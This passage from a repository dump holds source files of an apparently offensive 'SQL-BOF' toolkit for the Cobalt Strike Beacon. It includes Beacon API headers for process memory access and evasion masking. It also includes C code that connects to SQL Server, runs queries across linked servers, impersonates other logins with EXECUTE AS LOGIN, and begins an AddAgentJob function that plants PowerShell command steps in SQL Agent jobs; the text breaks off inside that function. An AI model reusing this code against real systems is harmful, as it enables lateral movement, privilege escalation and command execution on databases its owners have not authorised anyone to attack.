for retrieving a copy of the information which would be under the BOF's\n * control instead of a reference pointer which may be obfuscated when beacon is sleeping.\n */\ntypedef struct\n{\n\tSYSCALL_API syscalls;\n\tRTL_API     rtls;\n} BEACON_SYSCALLS, *PBEACON_SYSCALLS;\n\n/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */\nDECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);\n\n/* Beacon System call functions which will use the current system call method */\nDECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nDECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);\nDECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);\nDECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);\nDECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);\nDECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);\nDECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);\nDECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);\nDECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);\nDECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);\nDECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);\nDECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);\nDECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);\n\n/* Beacon Gate APIs */\nDECLSPEC_IMPORT VOID BeaconDisableBeaconGate();\nDECLSPEC_IMPORT VOID BeaconEnableBeaconGate();\n\nDECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();\nDECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();\n\n/* Beacon User Data\n *\n * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch\n * e.g. 0x040900 -> CS 4.9\n *      0x041000 -> CS 4.10\n*/\n\n#define DLL_BEACON_USER_DATA 0x0d\n#define BEACON_USER_DATA_CUSTOM_SIZE 32\ntypedef struct\n{\n\tunsigned int version;\n\tPSYSCALL_API syscalls;\n\tchar         custom[BEACON_USER_DATA_CUSTOM_SIZE];\n\tPRTL_API     rtls;\n\tPALLOCATED_MEMORY allocatedMemory;\n} USER_DATA, * PUSER_DATA;\n\n#ifdef __cplusplus\n}\n#endif // __cplusplus\n#endif // _BEACON_H_\n"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/common/bofdefs.h",
    "content": "#pragma once\n#pragma intrinsic(memcmp, memcpy,strcpy,strcmp,_stricmp,strlen)\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#include <windows.h>\n#include <process.h>\n#include <winternl.h>\n#include <imagehlp.h>\n#include <iphlpapi.h>\n#include <stdio.h>\n#include <tlhelp32.h>\n#include <windns.h>\n#include <dbghelp.h>\n#include <winldap.h>\n#include <winnetwk.h>\n#include <wtsapi32.h>\n#include <shlwapi.h>\n#include <odbcinst.h>\n#include <sql.h>\n#include <sqlext.h>\n\n#ifdef _WIN32\n#define STDCALL __stdcall\n#else\n#define STDCALL\n#endif\n\n#ifdef BOF\n\n// KERNEL32\nWINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);\nWINBASEAPI int WINAPI KERNEL32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);\nWINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);\n\n\n#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)\n\n// MSVCRT\nWINBASEAPI int __cdecl MSVCRT$atoi(const char *_Str);\nWINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements);\nWINBASEAPI void __cdecl MSVCRT$free(void *_Memory);\nWINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);\nWINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount);\nWINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);\nWINBASEAPI int __cdecl MSVCRT$rand(void);\nWINBASEAPI int __cdecl MSVCRT$srand(unsigned int _Seed);\nWINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source);\nDECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2);\nWINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strncat(char * __restrict__ _Dest,const char * __restrict__ _Source,size_t _Count);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strncpy(char * __restrict__ _Dest,const char * __restrict__ _Source,size_t _Count);\nWINBASEAPI time_t __cdecl MSVCRT$time(time_t *_Time);\nWINBASEAPI int __cdecl MSVCRT$vsnprintf(char * __restrict__ d,size_t n,const char * __restrict__ format,va_list arg);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src);\n\n#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size)\n\n// ODBC32\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLAllocHandle(SQLSMALLINT HandleType, SQLHANDLE InputHandle, SQLHANDLE* OutputHandlePtr);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLCloseCursor(SQLHSTMT StatementHandle);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLDescribeCol(SQLHSTMT StatementHandle, SQLUSMALLINT ColumnNumber, SQLCHAR* ColumnName, SQLSMALLINT BufferLength, SQLSMALLINT* NameLengthPtr, SQLSMALLINT* DataTypePtr, SQLULEN* ColumnSizePtr, SQLSMALLINT* DecimalDigitsPtr, SQLSMALLINT* NullablePtr);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLDisconnect(SQLHDBC ConnectionHandle);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLDriverConnect(SQLHDBC ConnectionHandle, SQLHWND WindowHandle, SQLCHAR* InConnectionString, SQLSMALLINT StringLength1, SQLCHAR* OutConnectionString, SQLSMALLINT BufferLength, SQLSMALLINT* StringLength2Ptr, SQLUSMALLINT DriverCompletion);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLExecDirect(SQLHSTMT StatementHandle, SQLCHAR* StatementText, SQLINTEGER TextLength);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLFetch(SQLHSTMT StatementHandle);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLFreeHandle(SQLSMALLINT HandleType, SQLHANDLE Handle);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLGetData(SQLHSTMT StatementHandle, SQLUSMALLINT ColumnNumber, SQLSMALLINT TargetType, SQLPOINTER TargetValuePtr, SQLLEN BufferLength, SQLLEN* StrLen_or_IndPtr);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLGetDiagRec(SQLSMALLINT HandleType, SQLHANDLE Handle, SQLSMALLINT RecNumber, SQLCHAR* Sqlstate, SQLINTEGER* NativeErrorPtr, SQLCHAR* MessageText, SQLSMALLINT BufferLength, SQLSMALLINT* TextLengthPtr);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLNumResultCols(SQLHSTMT StatementHandle, SQLSMALLINT* ColumnCountPtr);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLMoreResults(SQLHSTMT StatementHandle);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLSetEnvAttr(SQLHENV EnvironmentHandle, SQLINTEGER Attribute, SQLPOINTER ValuePtr, SQLINTEGER StringLength);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLSetStmtAttr(SQLHSTMT StatementHandle, SQLINTEGER Attribute, SQLPOINTER Value, SQLINTEGER StringLength);\n\n//WS2_32\nWINBASEAPI int STDCALL WS2_32$closesocket(SOCKET s);\nWINBASEAPI u_short STDCALL WS2_32$htons(u_short hostshort);\nWINBASEAPI int STDCALL WS2_32$inet_pton(int af, const char *src, void *dst);\nWINBASEAPI int STDCALL WS2_32$recvfrom(SOCKET s, char *buf, int len, int flags, struct sockaddr *from, int *fromlen);\nWINBASEAPI int STDCALL WS2_32$sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen);\nWINBASEAPI int STDCALL WS2_32$setsockopt(SOCKET s, int level, int optname, const char *optval, int optlen);\nWINBASEAPI int STDCALL WS2_32$socket(int af, int type, int protocol);\nWINBASEAPI int STDCALL WS2_32$WSACleanup();\nWINBASEAPI int STDCALL WS2_32$WSAGetLastError();\nWINBASEAPI int STDCALL WS2_32$WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData);\n\n#else\n\n#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)\n#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size)\n\n// KERNEL32\n#define KERNEL32$CloseHandle CloseHandle\n#define KERNEL32$CreateThread CreateThread\n#define KERNEL32$WideCharToMultiByte  WideCharToMultiByte\n#define KERNEL32$HeapFree  HeapFree \n#define KERNEL32$GetProcessHeap GetProcessHeap\n#define KERNEL32$HeapAlloc HeapAlloc\n#define KERNEL32$WaitForSingleObject WaitForSingleObject\n\n\n// MSVCRT\n#define MSVCRT$atoi atoi\n#define MSVCRT$calloc calloc\n#define MSVCRT$free free\n#define MSVCRT$malloc malloc\n#define MSVCRT$memcpy memcpy\n#define MSVCRT$memset memset\n#define MSVCRT$rand rand\n#define MSVCRT$srand srand\n#define MSVCRT$sprintf sprintf\n#define MSVCRT$strcat strcat\n#define MSVCRT$strcmp strcmp\n#define MSVCRT$strlen strlen\n#define MSVCRT$strncat strncat\n#define MSVCRT$strncpy strncpy\n#define MSVCRT$time time\n#define MSVCRT$vsnprintf vsnprintf\n#define MSVCRT$strcpy strcpy\n\n// ODBC32\n#define ODBC32$SQLAllocHandle SQLAllocHandle\n#define ODBC32$SQLCloseCursor SQLCloseCursor\n#define ODBC32$SQLDescribeCol SQLDescribeCol\n#define ODBC32$SQLDisconnect SQLDisconnect\n#define ODBC32$SQLDriverConnect SQLDriverConnect\n#define ODBC32$SQLExecDirect SQLExecDirect\n#define ODBC32$SQLFetch SQLFetch\n#define ODBC32$SQLFreeHandle SQLFreeHandle\n#define ODBC32$SQLGetData SQLGetData\n#define ODBC32$SQLGetDiagRec SQLGetDiagRec\n#define ODBC32$SQLNumResultCols SQLNumResultCols\n#define ODBC32$SQLMoreResults SQLMoreResults\n#define ODBC32$SQLSetEnvAttr SQLSetEnvAttr\n#define ODBC32$SQLSetStmtAttr SQLSetStmtAttr\n\n//WS2_32\n#define WS2_32$closesocket closesocket\n#define WS2_32$htons htons\n#define WS2_32$inet_pton inet_pton\n#define WS2_32$recvfrom recvfrom\n#define WS2_32$sendto sendto\n#define WS2_32$setsockopt setsockopt\n#define WS2_32$socket socket\n#define WS2_32$WSACleanup WSACleanup\n#define WS2_32$WSAGetLastError WSAGetLastError\n#define WS2_32$WSAStartup WSAStartup\n\n#endif\n"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/common/sql.c",
    "content": "#include \"bofdefs.h\"\n#include <sql.h>\n#include <windows.h>\n\nvoid ShowError(unsigned int handletype, const SQLHANDLE *handle) {\n  SQLCHAR sqlstate[1024];\n  SQLCHAR message[1024];\n  if (SQL_SUCCESS == ODBC32$SQLGetDiagRec(handletype, (SQLHANDLE)handle, 1, sqlstate, NULL, message, 1024, NULL)) {\n    internal_printf(\"[-] Message: %s \\n[-] SQL State: %s\\n\", message, sqlstate);\n  }\n}\n\nBOOL ExecuteQuery(SQLHSTMT stmt, SQLCHAR *query) {\n  SQLRETURN ret = ODBC32$SQLExecDirect(stmt, query, SQL_NTS);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error executing query\\n\");\n    ShowError(SQL_HANDLE_STMT, stmt);\n    return FALSE;\n  }\n  return TRUE;\n}\n\nBOOL ExecuteLQueryRpc(SQLHSTMT stmt, SQLCHAR *query, char *link) {\n  int count = 0;\n  char *ptr = (char *)query;\n  while (*ptr) {\n    if (*ptr == '\\'') {\n      count++;\n    }\n    ptr++;\n  }\n\n  char *editedQuery = (char *)intAlloc( (MSVCRT$strlen((char *)query) + count + 1) * sizeof(char));\n  char *newPtr = editedQuery;\n  ptr = (char *)query;\n\n  while (*ptr) {\n    if (*ptr == '\\'') {\n      *newPtr++ = '\\'';\n      *newPtr++ = '\\'';\n    } else {\n      *newPtr++ = *ptr;\n    }\n    ptr++;\n  }\n  *newPtr = '\\0';\n\n  char *prefix = \"EXECUTE ('\";\n  char *suffix = \"') AT [\";\n  char *querySuffix = \"];\";\n\n  // append prefix, query, suffix, link, querySuffix\n  size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen((char *)editedQuery) + MSVCRT$strlen(suffix) + MSVCRT$strlen(link) + MSVCRT$strlen(querySuffix) + 1;\n  char *lQuery = (char *)intAlloc(totalSize * sizeof(char));\n  MSVCRT$strcpy(lQuery, prefix);\n  MSVCRT$strncat(lQuery, (char *)editedQuery, totalSize - MSVCRT$strlen(lQuery) - 1);\n  MSVCRT$strncat(lQuery, suffix, totalSize - MSVCRT$strlen(lQuery) - 1);\n  MSVCRT$strncat(lQuery, link, totalSize - MSVCRT$strlen(lQuery) - 1);\n  MSVCRT$strncat(lQuery, querySuffix, totalSize - MSVCRT$strlen(lQuery) - 1);\n\n  BOOL result = ExecuteQuery(stmt, (SQLCHAR *)lQuery);\n\n  intFree(editedQuery);\n  intFree(lQuery);\n\n  return result;\n}\n\nBOOL ExecuteLQuery(SQLHSTMT stmt, SQLCHAR *query, char *link) {\n  int count = 0;\n  char *ptr = (char *)query;\n  while (*ptr) {\n    if (*ptr == '\\'') {\n      count++;\n    }\n    ptr++;\n  }\n\n  char *editedQuery = (char *)intAlloc( (MSVCRT$strlen((char *)query) + count + 1) * sizeof(char));\n  char *newPtr = editedQuery;\n  ptr = (char *)query;\n\n  while (*ptr) {\n    if (*ptr == '\\'') {\n      *newPtr++ = '\\'';\n      *newPtr++ = '\\'';\n    } else {\n      *newPtr++ = *ptr;\n    }\n    ptr++;\n  }\n  *newPtr = '\\0';\n\n  char *linkPrefix = \"SELECT * FROM OPENQUERY(\\\"\";\n  char *linksuffix = \"\\\", '\";\n  char *querySuffix = \"')\";\n\n  // append linkPrefix, link, linksuffix, query, querySuffix\n  size_t totalSize = MSVCRT$strlen(linkPrefix) + MSVCRT$strlen(link) + MSVCRT$strlen(linksuffix) + MSVCRT$strlen((char *)editedQuery) + MSVCRT$strlen(querySuffix) + 1;\n  char *lQuery = (char *)intAlloc(totalSize * sizeof(char));\n\n  MSVCRT$strcpy(lQuery, linkPrefix);\n  MSVCRT$strncat(lQuery, link, totalSize - MSVCRT$strlen(lQuery) - 1);\n  MSVCRT$strncat(lQuery, linksuffix, totalSize - MSVCRT$strlen(lQuery) - 1);\n  MSVCRT$strncat(lQuery, (char *)editedQuery, totalSize - MSVCRT$strlen(lQuery) - 1);\n  MSVCRT$strncat(lQuery, querySuffix, totalSize - MSVCRT$strlen(lQuery) - 1);\n\n  BOOL result = ExecuteQuery(stmt, (SQLCHAR *)lQuery);\n\n  intFree(editedQuery);\n  intFree(lQuery);\n\n  return result;\n}\n\nBOOL ExecuteIQuery(SQLHSTMT stmt, SQLCHAR *query, char *impersonate) {\n  char *prefix = \"EXECUTE AS LOGIN = '\";\n  char *suffix = \"'; \";\n\n  // append prefix, impersonate, suffix and query\n  size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(impersonate) + MSVCRT$strlen(suffix) + MSVCRT$strlen((char *)query) + 1;\n  char *iQuery = (char *)intAlloc(totalSize * sizeof(char));\n  MSVCRT$strcpy(iQuery, prefix);\n  MSVCRT$strncat(iQuery, impersonate, totalSize - MSVCRT$strlen(iQuery) - 1);\n  MSVCRT$strncat(iQuery, suffix, totalSize - MSVCRT$strlen(iQuery) - 1);\n  MSVCRT$strncat(iQuery, (char *)query, totalSize - MSVCRT$strlen(iQuery) - 1);\n\n  BOOL result = ExecuteQuery(stmt, (SQLCHAR *)iQuery);\n\n  intFree(iQuery);\n\n  return result;\n}\n\nBOOL HandleQuery(SQLHSTMT stmt, SQLCHAR *query, char *link, char *impersonate, BOOL useRpc) {\n  if (link != NULL) {\n    if (useRpc) {\n      return ExecuteLQueryRpc(stmt, query, link);\n    } else {\n      return ExecuteLQuery(stmt, query, link);\n    }\n  } else if (impersonate != NULL) {\n    return ExecuteIQuery(stmt, query, impersonate);\n  } else {\n    return ExecuteQuery(stmt, query);\n  }\n}\n\nBOOL GetTableShema(SQLHSTMT stmt, char *link, char *database, char *table) {\n  char *prefix = \"SELECT TABLE_SCHEMA FROM \";\n  char *middle = \".INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = '\";\n  char *suffix = \"';\";\n\n  size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(middle) + MSVCRT$strlen(table) + MSVCRT$strlen(suffix) + 1;\n  char *query = (char *)intAlloc(totalSize * sizeof(char));\n\n  MSVCRT$strcpy(query, prefix);\n  MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, table, totalSize - MSVCRT$strlen(query) - 1);\n  MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n  BOOL result = ExecuteLQuery(stmt, (SQLCHAR *)query, link);\n\n  intFree(query);\n\n  return result;\n}\n\nvoid ClearCursor(SQLHSTMT stmt) {\n  SQLRETURN ret = SQL_SUCCESS;\n\n  while (ret == SQL_SUCCESS || ret == SQL_SUCCESS_WITH_INFO) {\n    ODBC32$SQLFetch(stmt);\n    ret = ODBC32$SQLMoreResults(stmt);\n  }\n}\n\nBOOL UsingLinkAndImpersonate(char *link, char *impersonate) {\n  if (link != NULL && impersonate != NULL) {\n    internal_printf(\"[!] Cannot use both link and impersonate.\\n\");\n    printoutput(TRUE);\n    return TRUE;\n  }\n\n  // linked server usage will be printed in the individual BOFs\n  if (impersonate != NULL) {\n    internal_printf(\"[*] Using impersonation: %s\\n\", impersonate);\n  }\n\n  return FALSE;\n}\n\nchar **GetMultipleResults(SQLHSTMT stmt, BOOL hasHeader) {\n  char **results = (char **)intAlloc(1024 * sizeof(char *));\n  SQLCHAR buf[1024];\n  SQLLEN indicator;\n  int i = 0;\n\n  while (ODBC32$SQLFetch(stmt) == SQL_SUCCESS) {\n    ODBC32$SQLGetData(stmt, 1, SQL_C_CHAR, buf, sizeof(buf), &indicator);\n    if (hasHeader && i == 0) {\n      i++;\n      continue;\n    }\n    results[i] =\n        (char *)intAlloc((MSVCRT$strlen((char *)buf) + 1) * sizeof(char));\n    MSVCRT$strcpy(results[i], (char *)buf);\n    i++;\n  }\n  results[i] = NULL; // Null terminate the array\n  return results;\n}\n\nchar *GetSingleResult(SQLHSTMT stmt, BOOL hasHeader) {\n  SQLCHAR *buf = (SQLCHAR *)intAlloc(1024 * sizeof(SQLCHAR));\n  SQLLEN indicator;\n  SQLRETURN ret;\n\n  ret = ODBC32$SQLFetch(stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error fetching results\\n\");\n    return NULL;\n  }\n\n  ret = ODBC32$SQLGetData(stmt, 1, SQL_C_CHAR, buf, 1024, &indicator);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error retrieving data\\n\");\n    return NULL;\n  }\n\n  if (hasHeader) {\n    ret = ODBC32$SQLFetch(stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Error fetching results\\n\");\n      return NULL;\n    }\n\n    ret = ODBC32$SQLGetData(stmt, 1, SQL_C_CHAR, buf, 1024, &indicator);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Error retrieving data\\n\");\n      return NULL;\n    }\n  }\n  return (char *)buf;\n}\n\nBOOL PrintQueryResults(SQLHSTMT stmt, BOOL hasHeader) {\n  SQLSMALLINT columns;\n  SQLRETURN ret;\n\n  // Get the number of columns in the result set\n  ret = ODBC32$SQLNumResultCols(stmt, &columns);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"Error retrieving column count\\n\");\n    return FALSE;\n  }\n\n  SQLCHAR buffer[1024];\n  SQLSMALLINT columnNameLength, dataType, decimalDigits, nullable;\n  SQLULEN columnSize;\n  int totalLength = 0;\n\n  // Print column headers\n  if (hasHeader) {\n    for (SQLSMALLINT i = 1; i <= columns; i++) {\n      ret = ODBC32$SQLDescribeCol(stmt, i, buffer, sizeof(buffer), &columnNameLength, &dataType, &columnSize, &decimalDigits, &nullable);\n      if (!SQL_SUCCEEDED(ret)) {\n        internal_printf(\"Error retrieving column information.\\n\");\n        return FALSE;\n      }\n      internal_printf(\"%s | \", buffer);\n      totalLength += columnNameLength + 3;\n    }\n\n    internal_printf(\"\\n\");\n    for (int i = 0; i < totalLength; i++) {\n      internal_printf(\"-\");\n    }\n    internal_printf(\"\\n\");\n  }\n\n  // Iterate over each row\n  while (SQL_SUCCEEDED(ret = ODBC32$SQLFetch(stmt))) {\n    // Iterate over each column\n    for (SQLSMALLINT i = 1; i <= columns; i++) {\n      SQLLEN indicator;\n      // Retrieve column data\n      ret = ODBC32$SQLGetData(stmt, i, SQL_C_CHAR, buffer, sizeof(buffer),\n                              &indicator);\n      if (SQL_SUCCEEDED(ret)) {\n        // Print column data\n        if (indicator == SQL_NULL_DATA)\n          MSVCRT$strcpy((char *)buffer, \"\");\n        internal_printf(\"%s | \", buffer);\n      }\n    }\n    internal_printf(\"\\n\");\n  }\n}\n\nSQLHDBC ConnectToSqlServerAuth(SQLHENV *env, char *server, char *dbName, char *user, char *password) {\n  SQLRETURN ret;\n  SQLCHAR connstr[1024];\n  SQLHDBC dbc = NULL;\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, env);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[-] Error allocating environment handle\\n\");\n    ShowError(SQL_HANDLE_ENV, *env);\n    return NULL;\n  }\n\n  ret = ODBC32$SQLSetEnvAttr(*env, SQL_ATTR_ODBC_VERSION,\n                             (SQLPOINTER)SQL_OV_ODBC3, 0);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[-] Error setting ODBC version\\n\");\n    ShowError(SQL_HANDLE_ENV, *env);\n    return NULL;\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_DBC, *env, &dbc);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[-] Error allocating connection handle\\n\");\n    ShowError(SQL_HANDLE_ENV, *env);\n    return NULL;\n  }\n\n  if (user != NULL && password != NULL) {\n    // SQL authentication\n    if (dbName == NULL) {\n      MSVCRT$sprintf((char *)connstr, \"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;\", server, user, password);\n    } else {\n      MSVCRT$sprintf((char *)connstr, \"DRIVER={SQL Server};SERVER=%s;DATABASE=%s;UID=%s;PWD=%s;\", server, dbName, user, password);\n    }\n    internal_printf(\"[*] Using SQL authentication as '%s'\\n\", user);\n  } else {\n    // Windows integrated authentication\n    if (dbName == NULL) {\n      MSVCRT$sprintf((char *)connstr, \"DRIVER={SQL Server};SERVER=%s;Trusted_Connection=Yes;\", server);\n    } else {\n      MSVCRT$sprintf( (char *)connstr, \"DRIVER={SQL Server};SERVER=%s;DATABASE=%s;Trusted_Connection=Yes;\", server, dbName);\n    }\n  }\n\n  internal_printf(\"[*] Connecting to %s:1433\\n\", server);\n  ret = ODBC32$SQLDriverConnect(dbc, NULL, connstr, SQL_NTS, NULL, 0, NULL, SQL_DRIVER_NOPROMPT);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[-] Error connecting to database\\n\");\n    ShowError(SQL_HANDLE_DBC, dbc);\n    return NULL;\n  }\n\n  internal_printf(\"[+] Successfully connected to database\\n\");\n  return dbc;\n}\n\nSQLHDBC ConnectToSqlServer(SQLHENV *env, char *server, char *dbName) {\n  return ConnectToSqlServerAuth(env, server, dbName, NULL, NULL);\n}\n\nvoid DisconnectSqlServer(SQLHENV env, SQLHDBC dbc, SQLHSTMT stmt) {\n  SQLRETURN ret;\n  internal_printf(\"\\n[*] Disconnecting from server\\n\");\n\n  if (stmt != NULL) {\n    ret = ODBC32$SQLFreeHandle(SQL_HANDLE_STMT, stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[-] Error freeing statement handle\\n\");\n      ShowError(SQL_HANDLE_STMT, stmt);\n    }\n  }\n\n  if (dbc != NULL) {\n    ret = ODBC32$SQLDisconnect(dbc);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[-] Error disconnecting from server\\n\");\n      ShowError(SQL_HANDLE_DBC, dbc);\n    }\n\n    ret = ODBC32$SQLFreeHandle(SQL_HANDLE_DBC, dbc);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[-] Error freeing connection handle\\n\");\n      ShowError(SQL_HANDLE_DBC, dbc);\n    }\n  }\n\n  if (env != NULL) {\n    ret = ODBC32$SQLFreeHandle(SQL_HANDLE_ENV, env);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[-] Error freeing environment handle\\n\");\n      ShowError(SQL_HANDLE_ENV, env);\n    }\n  }\n}"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/common/sql_agent.c",
    "content": "#include \"bofdefs.h\"\n#include \"sql.h\"\n\n\nBOOL IsAgentRunning(SQLHSTMT stmt, char* link, char* impersonate)\n{\n    BOOL running = FALSE;\n\n    char* query = \"SELECT dss.[status_desc] FROM sys.dm_server_services dss \"\n                  \"WHERE dss.[servicename] LIKE 'SQL Server Agent (%';\";\n    \n    if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE))\n    {\n        internal_printf(\"[-] Error while querying SQL Server Agent status\\n\");\n        return FALSE;\n    }\n\n    char* result = GetSingleResult(stmt, FALSE);\n    \n    if (result != NULL && MSVCRT$strcmp(result, \"Running\") == 0)\n    {\n        running = TRUE;\n    }\n\n    intFree(result);\n    return running;\n}\n\nBOOL GetAgentJobs(SQLHSTMT stmt, char* link, char* impersonate)\n{\n    char* query = \"SELECT job_id, name, enabled, date_created, date_modified \"\n                  \"FROM msdb.dbo.sysjobs ORDER BY date_created\";\n\n    return HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE);\n}\n\nBOOL AddAgentJob(SQLHSTMT stmt, char* link, char* impersonate, char* command, char* jobName, char* stepName)\n{\n\n    char* part1 = \"use msdb; EXEC dbo.sp_add_job @job_name = '\";\n    char* part2 = \"'; EXEC sp_add_jobstep @job_name = '\";\n    char* part3 = \"', @step_name = '\";\n    char* part4 = \"', @subsystem = 'PowerShell', @command = '\";\n    char* part5 = \"', @retry_attempts = 1, @retry_interval = 5; EXEC dbo.sp_add_jobserver @job_name = '\";\n    char* part6 = \"';\";\n\n    size_t totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(jobName) + MSVCRT$strlen(part2) + MSVCRT$strlen(jobName) + 